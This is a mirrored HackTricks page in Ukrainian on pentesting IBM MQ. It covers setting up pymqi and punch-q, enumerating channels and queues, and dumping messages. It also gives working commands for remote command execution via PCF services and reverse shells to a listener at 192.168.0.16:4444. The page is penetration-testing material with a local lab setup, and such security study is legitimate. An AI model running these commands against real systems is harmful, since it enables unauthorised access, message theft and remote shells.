mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
334 lines
21 KiB
Markdown
334 lines
21 KiB
Markdown
# 1414 - Pentesting IBM MQ
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Основна інформація
|
||
|
||
IBM MQ - це технологія IBM для управління чергами повідомлень. Як і інші **технології брокерів повідомлень**, вона призначена для отримання, зберігання, обробки та класифікації інформації між виробниками та споживачами.
|
||
|
||
За замовчуванням, **вона відкриває TCP порт IBM MQ 1414**. Іноді HTTP REST API може бути відкрито на порту **9443**. Метрики (Prometheus) також можуть бути доступні з TCP порту **9157**.
|
||
|
||
TCP порт IBM MQ 1414 може бути використаний для маніпуляцій з повідомленнями, чергами, каналами, ... але **також для контролю інстанції**.
|
||
|
||
IBM надає велику технічну документацію, доступну на [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||
|
||
## Інструменти
|
||
|
||
Рекомендований інструмент для легкого експлуатації - це **[punch-q](https://github.com/sensepost/punch-q)**, з використанням Docker. Інструмент активно використовує бібліотеку Python `pymqi`.
|
||
|
||
Для більш ручного підходу використовуйте бібліотеку Python **[pymqi](https://github.com/dsuch/pymqi)**. [Залежності IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) потрібні.
|
||
|
||
### Встановлення pymqi
|
||
|
||
Потрібно встановити та завантажити **залежності IBM MQ**:
|
||
|
||
1. Створіть обліковий запис (IBMid) на [https://login.ibm.com/](https://login.ibm.com/).
|
||
2. Завантажте бібліотеки IBM MQ з [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Для Linux x86_64 це **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||
3. Розпакуйте (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||
4. Запустіть `sudo ./mqlicense.sh`, щоб прийняти умови ліцензії.
|
||
|
||
> Якщо ви використовуєте Kali Linux, змініть файл `mqlicense.sh`: видаліть/закоментуйте наступні рядки (між рядками 105-110):
|
||
>
|
||
> ```bash
|
||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||
> then
|
||
> echo "ERROR: This package is incompatible with this system"
|
||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||
> exit 1
|
||
> fi
|
||
> ```
|
||
|
||
5. Встановіть ці пакети:
|
||
```bash
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||
```
|
||
6. Потім тимчасово додайте файли `.so` до LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **перед** запуском інших інструментів, що використовують ці залежності.
|
||
|
||
Потім ви можете клонувати проект [**pymqi**](https://github.com/dsuch/pymqi): він містить цікаві фрагменти коду, константи, ... Або ви можете безпосередньо встановити бібліотеку за допомогою: `pip install pymqi`.
|
||
|
||
### Використання punch-q
|
||
|
||
#### З Docker
|
||
|
||
Просто використовуйте: `sudo docker run --rm -ti leonjza/punch-q`.
|
||
|
||
#### Без Docker
|
||
|
||
Клонуйте проект [**punch-q**](https://github.com/sensepost/punch-q), а потім дотримуйтесь інструкцій у readme для установки (`pip install -r requirements.txt && python3 setup.py install`).
|
||
|
||
Після цього його можна використовувати з командою `punch-q`.
|
||
|
||
## Перерахування
|
||
|
||
Ви можете спробувати перерахувати **ім'я менеджера черги, користувачів, канали та черги** за допомогою **punch-q** або **pymqi**.
|
||
|
||
### Менеджер черги
|
||
|
||
Іноді немає захисту від отримання імені менеджера черги:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||
Queue Manager name: MYQUEUEMGR
|
||
```
|
||
### Канали
|
||
|
||
**punch-q** використовує внутрішній (модифікований) список слів для знаходження існуючих каналів. Приклад використання:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||
```
|
||
Виявляється, що деякі екземпляри IBM MQ приймають **неаутентифіковані** запити MQ, тому `--username / --password` не потрібні. Звичайно, права доступу також можуть варіюватися.
|
||
|
||
Як тільки ми отримаємо одне ім'я каналу (тут: `DEV.ADMIN.SVRCONN`), ми можемо перерахувати всі інші канали.
|
||
|
||
Перерахунок в основному можна виконати за допомогою цього фрагмента коду `code/examples/dis_channels.py` з **pymqi**:
|
||
```python
|
||
import logging
|
||
import pymqi
|
||
|
||
logging.basicConfig(level=logging.INFO)
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
prefix = '*'
|
||
|
||
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
||
except pymqi.MQMIError as e:
|
||
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
||
logging.info('No channels matched prefix `%s`' % prefix)
|
||
else:
|
||
raise
|
||
else:
|
||
for channel_info in response:
|
||
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
||
logging.info('Found channel `%s`' % channel_name)
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
... Але **punch-q** також вбудовує цю частину (з більшою кількістю інформації!).
|
||
Його можна запустити за допомогою:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||
Showing channels with prefix: "*"...
|
||
|
||
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
||
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
||
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
||
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
||
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
||
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
||
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
||
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
||
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
||
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
||
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
||
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
||
| SYSTEM.DEF.SERVER | Server | | | | | |
|
||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||
```
|
||
### Черги
|
||
|
||
Є фрагмент коду з **pymqi** (`dis_queues.py`), але **punch-q** дозволяє отримати більше інформації про черги:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||
Showing queues with prefix: "*"...
|
||
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
||
| | | | | | GR Name | eue Nam | |
|
||
| | | | | | | e | |
|
||
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
||
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | E | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
# Truncated
|
||
```
|
||
## Exploit
|
||
|
||
### Dump messages
|
||
|
||
Ви можете націлити чергу(и)/канал(и), щоб перехопити / скинути повідомлення з них (неконструктивна операція). _Приклади:_
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||
```
|
||
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||
```
|
||
**Не соромтеся ітерувати всі виявлені черги.**
|
||
|
||
### Виконання коду
|
||
|
||
> Деякі деталі перед продовженням: IBM MQ можна контролювати кількома способами: MQSC, PCF, Control Command. Деякі загальні списки можна знайти в [документації IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Програмовані формати команд_**) - це те, на чому ми зосереджені для віддаленої взаємодії з екземпляром. **punch-q** і, крім того, **pymqi** базуються на взаємодії з PCF.
|
||
>
|
||
> Ви можете знайти список команд PCF:
|
||
>
|
||
> - [З документації PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), та
|
||
> - [з констант](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||
>
|
||
> Однією цікавою командою є `MQCMD_CREATE_SERVICE`, а її документація доступна [тут](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Вона приймає як аргумент `StartCommand`, що вказує на локальну програму на екземплярі (приклад: `/bin/sh`).
|
||
>
|
||
> У документації також є попередження про команду: _"Увага: ця команда дозволяє користувачу виконувати довільну команду з правами mqm. Якщо надано права на використання цієї команди, зловмисний або недбалий користувач може визначити сервіс, який пошкодить ваші системи або дані, наприклад, видаливши важливі файли."_
|
||
>
|
||
> _Примітка: завжди відповідно до документації IBM MQ (Довідник з адміністрування) також є HTTP-інтерфейс за адресою `/admin/action/qmgr/{qmgrName}/mqsc` для виконання еквівалентної команди MQSC для створення сервісу (`DEFINE SERVICE`). Цей аспект ще не розглянуто тут._
|
||
|
||
Створення / видалення сервісу з PCF для віддаленого виконання програми може бути виконано за допомогою **punch-q**:
|
||
|
||
**Приклад 1**
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||
```
|
||
> У журналах IBM MQ ви можете прочитати, що команда успішно виконана:
|
||
>
|
||
> ```bash
|
||
> 2023-10-10T19:13:01.713Z AMQ5030I: Команда '808544aa7fc94c48' розпочата. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||
> ```
|
||
|
||
Ви також можете перерахувати існуючі програми на машині (тут `/bin/doesnotexist` ... не існує):
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||
s "whatever"
|
||
Command: /bin/doesnotexist
|
||
Arguments: -c id
|
||
Service Name: 6e3ef5af652b4436
|
||
|
||
Creating service...
|
||
Starting service...
|
||
The program '/bin/doesnotexist' is not available on the remote system.
|
||
Giving the service 0 second(s) to live...
|
||
Cleaning up service...
|
||
Done
|
||
```
|
||
**Зверніть увагу, що запуск програми є асинхронним. Тому вам потрібен другий елемент для використання експлойту** **_(слухач для зворотного шеллу, створення файлу на різному сервісі, ексфільтрація даних через мережу ...)_**
|
||
|
||
**Приклад 2**
|
||
|
||
Для простого зворотного шеллу **punch-q** також пропонує два корисних навантаження для зворотного шеллу:
|
||
|
||
- Одне з bash
|
||
- Одне з perl
|
||
|
||
_Звичайно, ви можете створити власне з використанням команди `execute`._
|
||
|
||
Для bash:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
Для perl:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
### Custom PCF
|
||
|
||
Ви можете ознайомитися з документацією IBM MQ і безпосередньо використовувати бібліотеку **pymqi** для тестування конкретної команди PCF, яка не реалізована в **punch-q**.
|
||
|
||
**Example:**
|
||
```python
|
||
import pymqi
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
# Replace here with your custom PCF args and command
|
||
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
||
args = {pymqi.CMQCFC.xxxxx: "value"}
|
||
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
||
except pymqi.MQMIError as e:
|
||
print("Error")
|
||
else:
|
||
# Process response
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
Якщо ви не можете знайти імена констант, ви можете звернутися до [документації IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||
|
||
> _Приклад для [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Десяткове = 73). Він потребує параметра `MQCA_CLUSTER_NAME` (Десяткове = 2029), який може бути `_` (Док: ):\*
|
||
>
|
||
> ```python
|
||
> import pymqi
|
||
>
|
||
> queue_manager = 'MYQUEUEMGR'
|
||
> channel = 'DEV.ADMIN.SVRCONN'
|
||
> host = '172.17.0.2'
|
||
> port = '1414'
|
||
> conn_info = '%s(%s)' % (host, port)
|
||
> user = 'admin'
|
||
> password = 'passw0rd'
|
||
>
|
||
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
> pcf = pymqi.PCFExecute(qmgr)
|
||
>
|
||
> try:
|
||
> args = {2029: "*"}
|
||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||
> except pymqi.MQMIError as e:
|
||
> print("Error")
|
||
> else:
|
||
> print(response)
|
||
>
|
||
> qmgr.disconnect()
|
||
> ```
|
||
|
||
## Тестове середовище
|
||
|
||
Якщо ви хочете протестувати поведінку IBM MQ та експлойти, ви можете налаштувати локальне середовище на основі Docker:
|
||
|
||
1. Мати обліковий запис на ibm.com та cloud.ibm.com.
|
||
2. Створити контейнеризований IBM MQ з:
|
||
```bash
|
||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
```
|
||
За замовчуванням автентифікація увімкнена, ім'я користувача `admin`, а пароль `passw0rd` (змінна середовища `MQ_ADMIN_PASSWORD`). Тут ім'я менеджера черг встановлено на `MYQUEUEMGR` (змінна `MQ_QMGR_NAME`).
|
||
|
||
Вам потрібно, щоб IBM MQ працював і його порти були відкриті:
|
||
```bash
|
||
❯ sudo docker ps
|
||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||
```
|
||
> Стара версія образів IBM MQ docker доступна за адресою: https://hub.docker.com/r/ibmcom/mq/.
|
||
|
||
## Посилання
|
||
|
||
- [mgeeky's gist - "Практичні нотатки з пенетрування IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||
- [Документація IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|